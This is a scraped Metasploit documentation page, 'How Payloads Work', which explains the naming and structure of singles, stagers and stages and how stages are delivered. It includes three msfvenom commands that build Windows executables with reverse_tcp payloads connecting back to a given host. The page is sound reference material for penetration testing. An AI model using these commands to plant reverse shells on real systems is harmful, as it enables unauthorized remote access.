jenkins-metasploit
5 lines
51 KiB
HTML
5 lines
51 KiB
HTML
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href="/docs/pentesting/active-directory/kerberos/keytab.html" class="nav-list-link">Keytab support and decrypting wireshark traffic</a><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/kerberos/rbcd.html" class="nav-list-link">Resource-based constrained delegation (RBCD)</a><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/kerberos/unconstrained_delegation.html" class="nav-list-link">Unconstrained delegation</a></ul></ul></ul><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/using-metasploit/" class="nav-list-link active">Using Metasploit</a><ul class="nav-list"><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/using-metasploit/getting-started/" class="nav-list-link">Getting Started</a><ul class="nav-list"><li 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payloads work</a><li class="nav-list-item active"><a href="/docs/using-metasploit/basics/module-documentation.html" class="nav-list-link">Module Documentation</a><li class="nav-list-item active"><a href="/docs/using-metasploit/basics/how-to-use-a-reverse-shell-in-metasploit.html" class="nav-list-link">How to use a reverse shell in Metasploit</a><li class="nav-list-item active"><a href="/docs/using-metasploit/basics/how-to-use-msfvenom.html" class="nav-list-link">How to use msfvenom</a><li class="nav-list-item active"><a href="/docs/using-metasploit/basics/managing-sessions.html" class="nav-list-link">Managing Sessions</a></ul><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/using-metasploit/intermediate/" class="nav-list-link">Intermediate</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/using-metasploit/intermediate/metasploit-database-support.html" class="nav-list-link">Database Support</a><li class="nav-list-item active"><a href="/docs/using-metasploit/intermediate/evading-anti-virus.html" class="nav-list-link">Evading Anti Virus</a><li class="nav-list-item active"><a href="/docs/using-metasploit/intermediate/exploit-ranking.html" class="nav-list-link">Exploit Ranking</a><li class="nav-list-item active"><a href="/docs/using-metasploit/intermediate/hashes-and-password-cracking.html" class="nav-list-link">Hashes and Password Cracking</a><li class="nav-list-item active"><a href="/docs/using-metasploit/intermediate/how-to-use-plugins.html" class="nav-list-link">Metasploit Plugins</a><li class="nav-list-item active"><a href="/docs/using-metasploit/intermediate/payload-uuid.html" class="nav-list-link">Payload UUID</a><li class="nav-list-item active"><a href="/docs/using-metasploit/intermediate/pivoting-in-metasploit.html" class="nav-list-link">Pivoting in Metasploit</a><li class="nav-list-item active"><a href="/docs/using-metasploit/intermediate/running-private-modules.html" class="nav-list-link">Running Private Modules</a></ul><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/using-metasploit/advanced/" class="nav-list-link">Advanced</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/how-to-configure-dns.html" class="nav-list-link">How to Configure DNS</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/metasploit-web-service.html" class="nav-list-link">Metasploit Web Service</a><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/using-metasploit/advanced/meterpreter/" class="nav-list-link">Meterpreter</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter.html" class="nav-list-link">Overview</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-configuration.html" class="nav-list-link">Configuration</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/debugging-dead-meterpreter-sessions.html" class="nav-list-link">Debugging Dead Meterpreter Sessions</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html" class="nav-list-link">Debugging Meterpreter Sessions</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-executebof-command.html" class="nav-list-link">ExecuteBof Command</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-http-communication.html" class="nav-list-link">HTTP Communication</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/how-to-get-started-with-writing-a-meterpreter-script.html" class="nav-list-link">How to get started with writing a Meterpreter script</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-paranoid-mode.html" class="nav-list-link">Paranoid Mode</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/powershell-extension.html" class="nav-list-link">Powershell Extension</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/python-extension.html" class="nav-list-link">Python Extension</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-reg-command.html" class="nav-list-link">Reg Command</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-reliable-network-communication.html" class="nav-list-link">Reliable Network Communication</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-sleep-control.html" class="nav-list-link">Sleep Control</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-stageless-mode.html" class="nav-list-link">Stageless Mode</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/the-ins-and-outs-of-http-and-https-communications-in-meterpreter-and-metasploit-stagers.html" class="nav-list-link">The ins and outs of HTTP and HTTPS communications in Meterpreter and Metasploit Stagers</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-timeout-control.html" class="nav-list-link">Timeout Control</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-transport-control.html" class="nav-list-link">Transport Control</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-unicode-support.html" class="nav-list-link">Unicode Support</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-wishlist.html" class="nav-list-link">Wishlist</a></ul><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/using-metasploit/advanced/RPC/" class="nav-list-link">RPC</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/RPC/how-to-use-metasploit-json-rpc.html" class="nav-list-link">How to use Metasploit JSON RPC</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/RPC/how-to-use-metasploit-messagepack-rpc.html" class="nav-list-link">How to use Metasploit Messagepack RPC</a></ul></ul><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/using-metasploit/other/" class="nav-list-link">Other</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/using-metasploit/other/how-to-use-metasploit-mcp-server.html" class="nav-list-link">How to use Metasploit MCP Server</a><li class="nav-list-item active"><a href="/docs/using-metasploit/other/how-to-use-metasploit-with-ngrok.html" class="nav-list-link">How to use Metasploit with ngrok</a><li class="nav-list-item active"><a href="/docs/using-metasploit/other/how-to-use-the-favorite-command.html" class="nav-list-link">How to use the Favorite command</a><li class="nav-list-item active"><a href="/docs/using-metasploit/other/information-about-unmet-browser-exploit-requirements.html" class="nav-list-link">Information About Unmet Browser Exploit Requirements</a><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/using-metasploit/other/oracle-support/" class="nav-list-link">Oracle Support</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/using-metasploit/other/oracle-support/how-to-get-oracle-support-working-with-kali-linux.html" class="nav-list-link">How to get Oracle Support working with Kali Linux</a><li class="nav-list-item active"><a href="/docs/using-metasploit/other/oracle-support/oracle-usage.html" class="nav-list-link">Oracle Usage</a></ul><li class="nav-list-item active"><a href="/docs/using-metasploit/other/why-cve-is-not-available.html" class="nav-list-link">Why CVE is not available</a></ul></ul><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/development/" class="nav-list-link">Development</a><ul class="nav-list"><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use 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<a href="//github.com/rapid7/metasploit-framework" class="site-button" target="_blank" rel="noopener noreferrer" > Metasploit Framework on GitHub </a></ul></nav></div><div id="main-content-wrap" class="main-content-wrap"><nav aria-label="Breadcrumb" class="breadcrumb-nav"><ol class="breadcrumb-nav-list"><li class="breadcrumb-nav-list-item"> <a href="/docs/using-metasploit/">Using Metasploit</a><li class="breadcrumb-nav-list-item"> <a href="/docs/using-metasploit/basics/">Basics</a><li class="breadcrumb-nav-list-item"> <span>How payloads work</span></ol></nav><div id="main-content" class="main-content" role="main"><h1 id="how-payloads-work"> <a href="#how-payloads-work" class="anchor-heading" aria-labelledby="how-payloads-work"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> How Payloads Work</h1><p>Payload modules are stored in <code class="language-plaintext highlighter-rouge">modules/payloads/{singles,stages,stagers}/<platform></code>. When the framework starts up, stages are combined with stagers to create a complete payload that you can use in exploits. Then, handlers are paired with payloads so the framework will know how to create sessions with a given communications mechanism.</p><p>Payloads are given reference names that indicate all the pieces, like so:</p><ul><li>Staged payloads: <code class="language-plaintext highlighter-rouge"><platform>/[arch]/<stage>/<stager></code><li>Single payloads: <code class="language-plaintext highlighter-rouge"><platform>/[arch]/<single></code></ul><p>This results in payloads like <code class="language-plaintext highlighter-rouge">windows/x64/meterpreter/reverse_tcp</code>. Breaking that down, the platform is <code class="language-plaintext highlighter-rouge">windows</code>, the architecture is <code class="language-plaintext highlighter-rouge">x64</code>, the final stage we’re delivering is <code class="language-plaintext highlighter-rouge">meterpreter</code>, and the stager delivering it is <code class="language-plaintext highlighter-rouge">reverse_tcp</code>.</p><p>Note that architecture is optional because in some cases it is either unnecessary or implied. An example is <code class="language-plaintext highlighter-rouge">php/meterpreter/reverse_tcp</code>. Arch is unneeded for PHP payloads because we’re delivering interpreted code rather than native.</p><h3 id="singles"> <a href="#singles" class="anchor-heading" aria-labelledby="singles"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Singles</h3><p>Single payloads are fire-and-forget. They can create a communications mechanism with Metasploit, but they don’t have to. An example of a scenario where you might want a single is when the target has no network access – a fileformat exploit delivered via USB key is still possible.</p><h3 id="stagers"> <a href="#stagers" class="anchor-heading" aria-labelledby="stagers"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Stagers</h3><p>Stagers are a small stub designed to create some form of communication and then pass execution to the next stage. Using a stager solves two problems. First, it allows us to use a small payload initially to load up a larger payload with more functionality. Second, it makes it possible to separate the communications mechanism from the final stage so one payload can be used with multiple transports without duplicating code.</p><h3 id="stages"> <a href="#stages" class="anchor-heading" aria-labelledby="stages"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Stages</h3><p>Since the stager will have taken care of dealing with any size restrictions by allocating a big chunk of memory for us to run in, stages can be arbitrarily large. One advantage of that is the ability to write final-stage payloads in a higher-level language like C.</p><h2 id="delivering-stages"> <a href="#delivering-stages" class="anchor-heading" aria-labelledby="delivering-stages"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Delivering stages</h2><ol><li>The IP address and port you want the payload to connect back to are embedded in the stager. As discussed above, all staged payloads are no more than a small stub that sets up communication and executes the next stage. When you create an executable using a staged payload, you’re really just creating the stager. So the following commands would create functionally identical exe files:<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcp
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msfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcp
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msfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp
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</code></pre></div></div><p>(Note that these are <em>functionally</em> identical – there is a lot of randomization that goes into it so no two executables are exactly the same.)</p><li>The Ruby side acts as a client using whichever transport mechanism was set up by the stager (e.g.: tcp, http, https).<ul><li>In the case of a shell stage, Metasploit will connect the remote process’s stdio to your terminal when you interact with it.<li>In the case of a <a href="/docs/using-metasploit/advanced/meterpreter/meterpreter.html">Meterpreter</a> stage, Metasploit will begin speaking the Meterpreter wire protocol.</ul></ol><hr><footer><p><a href="#top" id="back-to-top">Back to top</a></p><p class="text-small text-grey-dk-000 mb-0"> <a href="https://github.com/rapid7/metasploit-framework/tree/master/docs/metasploit-framework.wiki/How-payloads-work.md" id="edit-this-page">Edit this page on GitHub</a></p></footer></div></div><div class="search-overlay"></div></div><script type="text/javascript" src="/assets/js/toggle_mode.js"></script> <script> var config = { theme: 'default', logLevel: 'fatal', securityLevel: 'strict', startOnLoad: true, arrowMarkerAbsolute: false, er: { diagramPadding: 20, layoutDirection: 'TB', minEntityWidth: 100, minEntityHeight: 75, entityPadding: 15, stroke: 'gray', fill: 'honeydew', fontSize: 12, useMaxWidth: true, }, flowchart:{ diagramPadding: 8, htmlLabels: true, curve: 'basis', }, sequence: { diagramMarginX: 50, diagramMarginY: 10, actorMargin: 50, width: 150, height: 65, boxMargin: 10, boxTextMargin: 5, noteMargin: 10, messageMargin: 35, messageAlign: 'center', mirrorActors: true, bottomMarginAdj: 1, useMaxWidth: true, rightAngles: false, showSequenceNumbers: false, }, gantt: { titleTopMargin: 25, barHeight: 20, barGap: 4, topPadding: 50, leftPadding: 75, fontSize: 11, gridLineStartPadding: 35, fontFamily: '\'Open Sans\', sans-serif', numberSectionStyles: 4, axisFormat: '%Y-%m-%d', topAxis: false, }, }; mermaid.initialize(config); window.mermaid.init(undefined, document.querySelectorAll('.language-mermaid')); </script>
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